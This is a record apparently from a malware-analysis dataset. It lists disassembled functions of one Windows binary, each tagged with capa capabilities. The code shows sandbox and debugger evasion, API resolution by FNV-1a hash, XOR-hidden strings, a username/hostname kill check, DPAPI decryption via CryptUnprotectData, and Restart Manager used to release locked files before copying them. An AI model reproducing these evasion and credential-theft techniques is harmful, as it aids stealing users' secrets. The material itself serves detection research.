joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4534cf
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x585080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00449e42
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00449e42
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x453546
cmp word [ecx], dx
je 0x453546
mov eax, dword [0x56230c]
push edi
dec eax
push eax
push 0x5621f8
call fcn.0045346e
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4535b9
cmp word [eax], dx
je 0x4535b9
mov eax, dword [edi]
test eax, eax
je 0x45356a
cmp word [eax], dx
je 0x45356a
lea eax, [ebp - 0x10]
push eax
call fcn.00452e51
jmp 0x453573
lea eax, [ebp - 0x10]
push eax
call fcn.00452eec
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4535e3
mov eax, dword [0x5621f4]
push dword [ebp - 0x14]
dec eax
push eax
push 0x561ee8
call fcn.0045346e
add esp, 0xc
test al, al
je 0x4535e3
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4535ae
cmp word [eax], di
je 0x4535ae
lea eax, [ebp - 0x10]
push eax
call fcn.00452e51
pop ecx
jmp 0x4535e5
lea eax, [ebp - 0x10]
push eax
call fcn.00452eec
jmp 0x4535ab
mov eax, dword [edi]
test eax, eax
je 0x4535d0
cmp word [eax], dx
je 0x4535d0
lea eax, [ebp - 0x10]
push eax
call fcn.00452e06
pop ecx
jmp 0x4535e3
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4536ae
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004532f3
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4536ae
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4536ae
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4536ae
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x45363b
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0044b877
test ebx, ebx
je 0x4536a9
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0044b877
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4536ae
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4536ae
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00456af9
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4536b0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00433d77
leave
ret
Function at 0x458620
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45864d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45864d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x45db00
Capabilities:
Access peb ldr_data
Check for unmoving mouse cursor
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x18]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
push esi
push edi
push eax
call ebx
lea eax, [ebp - 0x10]
push eax
call ebx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
je 0x45dbe8
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x45dbe8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 4], ecx
cmp ecx, esi
je 0x45dba4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45dba4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45db9d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45db80
cmp esi, 0x2fa62ca8
je 0x45dba8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45db65
mov eax, dword [eax]
jmp 0x45db40
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 8]
push 0x3e9
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x20]
je 0x45dbe8
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jne 0x45dc87
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 8], ecx
cmp ecx, edx
je 0x45dc59
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45dc59
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x45dc52
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x45dc35
cmp esi, 0x2fa62ca8
je 0x45dc5d
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x45dc20
mov eax, dword [eax]
jmp 0x45dbf4
mov esi, dword [ebp - 8]
mov edx, dword [ebp - 4]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x45db15
push 0
push 0x48a6
call fcn.004ea420
add esp, 8
or eax, edx
je 0x45dc9e
mov bl, 1
jmp 0x45dca0
xor bl, bl
push 0
push 0x480f
call fcn.004ea420
add esp, 8
mov byte [eax + 0x5890c0], bl
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c6b00
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5599af
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x30
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
call edi
test eax, eax
jne 0x4c6b68
add esi, 0x10
cmp esi, 0x800
jbe 0x4c6b42
cmp esi, 0x800
jae 0x4c6b8c
push 0x800
call fcn.004423ec
mov edi, eax
add esp, 4
test edi, edi
jne 0x4c6ba1
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x800
push 0
push edi
call fcn.004359b0
mov esi, dword [ebp - 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [ebp - 0x18]
push edi
call fcn.00435270
add esp, 0x18
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
push esi
push edi
call fcn.00403040
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3c]
mov esi, dword [ebp - 0x14]
cmp esi, eax
je 0x4c6c2b
mov ecx, esi
call fcn.00402df0
movups xmm0, xmmword [ebp - 0x3c]
mov eax, 0xf
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x2c], 0
mov byte [ebp - 0x3c], 0
jmp 0x4c6c2e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0xf
jbe 0x4c6c64
mov edx, dword [ebp - 0x3c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4c6c5a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4c6c9d
push ecx
push edx
call fcn.004338f3
add esp, 8
push edi
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
call fcn.00441c96
add esp, 4
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00438c70
int3
Function at 0x4c8590
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4c8696
push eax
push 0x480f
call fcn.004ea420
push 0
push 0x48a7
movzx eax, byte [eax + 0x5890c0]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.004ea420
add esp, 0x10
cmp esi, eax
jne 0x4c85fe
cmp dword [esp + 0x10], edx
je 0x4c8696
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4c8690
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4c86a4
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x4c8690
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4c86a0
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x4c8654
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x4c8690
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d60c0
Capabilities:
Get hostname
Get session user name
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x250
push 0x100
lea eax, [ebp - 0x150]
mov dword [ebp - 0x24], 0x100
push 0
push eax
mov dword [ebp - 0x28], 0x100
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x250]
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 8], 0xb1f38cdf
mov dword [ebp - 4], 0xf925959f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 8], 0x7dbb92e6
mov dword [ebp - 4], 0x14d846fe
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 8], 0xdf9be395
mov dword [ebp - 4], 0xf940fadb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0x7dbb92e6
mov dword [ebp - 4], 0x14d846fe
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x40]
push eax
mov dword [ebp - 0x14], ecx
lea eax, [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x20]
push eax
movaps xmmword [ebp - 0x40], xmm1
call fcn.00434e60
add esp, 8
test eax, eax
jne 0x4d625b
mov dword [ebp - 8], 0xe6d7a2dd
mov dword [ebp - 4], 0xf940b28f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 8], 0x7dbb92e6
mov dword [ebp - 4], 0x14d846fe
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 8], 0xdf9be395
mov dword [ebp - 4], 0xf940fadb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0x7dbb92e6
mov dword [ebp - 4], 0x14d846fe
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x50]
push eax
mov dword [ebp - 0x14], ecx
lea eax, [ebp - 0x250]
xorps xmm1, xmmword [ebp - 0x20]
push eax
movaps xmmword [ebp - 0x50], xmm1
call fcn.00434e60
add esp, 8
test eax, eax
jne 0x4d625b
xor al, al
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x4d6280
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d6ba0
Capabilities:
Copy file
Create restart manager session
Enumerate processes that use resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55a969
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x340
push ebx
push esi
push edi
mov dword [ebp - 0x14], 0
mov ebx, ecx
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20], edx
call edi
cmp eax, 0x20
jne 0x4d6d19
lea eax, [ebp - 0x60]
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4d6bf4
sub ecx, edx
push ecx
push ebx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x60]
call fcn.00429070
add esp, 0xc
mov dword [ebp - 0x14], 1
mov dword [ebp - 4], 0xffffffff
mov edi, 1
mov dword [ebp - 0x14], edi
and edi, 0xfffffffe
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 1
lea eax, [ebp - 0xa8]
push 0x42
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0xa8]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov esi, eax
test esi, esi
jne 0x4d6cf4
mov byte [ebp - 4], 2
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x44]
call fcn.00415eb0
push esi
or edi, 2
lea eax, [ebp - 0x44]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x30], 7
push esi
cmova eax, dword [ebp - 0x44]
push esi
push esi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push 1
push dword [ebp - 0x18]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov esi, eax
test esi, esi
jne 0x4d6ce2
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
mov esi, eax
test esi, esi
je 0x4d6ccd
cmp esi, 0xea
jne 0x4d6ce2
cmp dword [ebp - 0x1c], 0
jbe 0x4d6ce2
push 0
push 1
push dword [ebp - 0x18]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
mov esi, eax
and edi, 0xfffffffd
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x44]
call fcn.004188d0
push dword [ebp - 0x18]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.004188d0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push dword [ebp - 0x20]
push ebx
call esi
test eax, eax
setne cl
mov byte [ebp - 0xd], cl
test eax, eax
jne 0x4d6d73
call edi
cmp eax, 0x20
jne 0x4d6d5f
mov ecx, ebx
call fcn.004e77e0
push 0
push dword [ebp - 0x20]
push ebx
call esi
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov al, cl
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e6c10
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55b940
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push 0x5894f8
mov esi, ecx
mov dword [ebp - 0x10], 0x5894f8
call fcn.00432b99
add esp, 4
test eax, eax
jne 0x4e6c82
cmp dword [0x589524], 0x7fffffff
je 0x4e6c89
mov dword [ebp - 4], eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
push 0x5894f8
call fcn.00432baa
mov ecx, dword [ebp - 0xc]
add esp, 4
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
push 5
call fcn.00432534
push 6
mov dword [0x589524], 0x7ffffffe
call fcn.00432534
int3

Function at 0x4e6ca0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55b959
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push 0x5894f8
mov esi, ecx
mov dword [ebp - 0x10], 0x5894f8
call fcn.00432b99
add esp, 4
test eax, eax
jne 0x4e6d4d
cmp dword [0x589524], 0x7fffffff
je 0x4e6d54
mov dword [ebp - 4], eax
test esi, esi
je 0x4e6d25
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6cf0
sub ecx, edx
je 0x4e6d25
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4e6d21
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4e6d21
cmp eax, 0x20
je 0x4e6d21
cmp eax, 0x45
je 0x4e6d21
cmp eax, 0x24
jne 0x4e6d25
mov bl, 1
jmp 0x4e6d27
xor bl, bl
mov dword [ebp - 4], 0xffffffff
push 0x5894f8
call fcn.00432baa
mov ecx, dword [ebp - 0xc]
add esp, 4
mov al, bl
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 5
call fcn.00432534
push 6
mov dword [0x589524], 0x7ffffffe
call fcn.00432534
int3
Function at 0x4e6f20
Capabilities:
Check os version

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xe0
mov dword [ebp - 8], 0x98f797c7
mov dword [ebp - 4], 0x9c168ebe
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 8], 0x12d2e194
mov dword [ebp - 4], 0x14d84690
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 8], 0xdf9be395
mov dword [ebp - 4], 0xf940fadb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], 0x7dbb92e6
mov dword [ebp - 4], 0x14d846fe
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x40], xmm1
mov dword [ebp - 8], 0xb3ff97db
mov dword [ebp - 4], 0x9524d4b7
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], 0x7dbb928a
mov dword [ebp - 4], 0x14d846fe
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 8], 0xdf9be395
mov dword [ebp - 4], 0xf940fadb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0x7dbb92e6
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0x14d846fe
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
push eax
movaps xmmword [ebp - 0x30], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4e7048
lea ecx, [ebp - 0xe0]
push ecx
call eax
jmp 0x4e7055
lea eax, [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0xdc]
cmp eax, 0xb
je 0x4e7065
cmp eax, 0xa
jne 0x4e7077
cmp dword [ebp - 0xd8], 0
je 0x4e7094
xor al, al
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
cmp eax, 6
jne 0x4e706e
mov eax, dword [ebp - 0xd8]
cmp eax, 3
je 0x4e7094
cmp eax, 2
sete al
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov al, 1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4e7330
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55b9f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x48
push esi
mov eax, ecx
mov dword [ebp - 0x1c], edx
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 1
call fcn.0041ae80
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x28], 0xdf9b81e7
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
cmp dword [ebx + 0x1c], 0xf
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x48], eax
lea eax, [ebx + 8]
cmova eax, dword [ebx + 8]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x40]
xorps xmm1, xmmword [ebp - 0x50]
push ecx
push eax
movaps xmmword [ebp - 0x40], xmm1
call fcn.00439820
mov edi, eax
add esp, 8
test edi, edi
je 0x4e7491
push 2
push 0
push edi
call fcn.0043d5f6
add esp, 0xc
push edi
call fcn.004393ab
add esp, 4
mov esi, eax
push 0
push 0
push edi
call fcn.0043d5f6
mov eax, dword [ebp - 0x14]
add esp, 0xc
cmp esi, dword [ebp - 0x1c]
cmova esi, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x10]
cmp esi, edx
ja 0x4e7465
mov dword [ecx + 0x10], esi
cmp dword [ecx + 0x14], 0xf
jbe 0x4e745f
mov ecx, dword [ecx]
mov byte [ecx + esi], 0
jmp 0x4e7474
mov eax, esi
push 0
sub eax, edx
push eax
call fcn.00418dc0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0x14], 0xf
jbe 0x4e747e
mov eax, dword [eax]
push edi
push esi
push 1
push eax
call fcn.0044209f
push edi
call fcn.0043d0a8
add esp, 0x14
mov byte [ebp - 4], 0
lea ecx, [ebx + 8]
call fcn.00402df0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret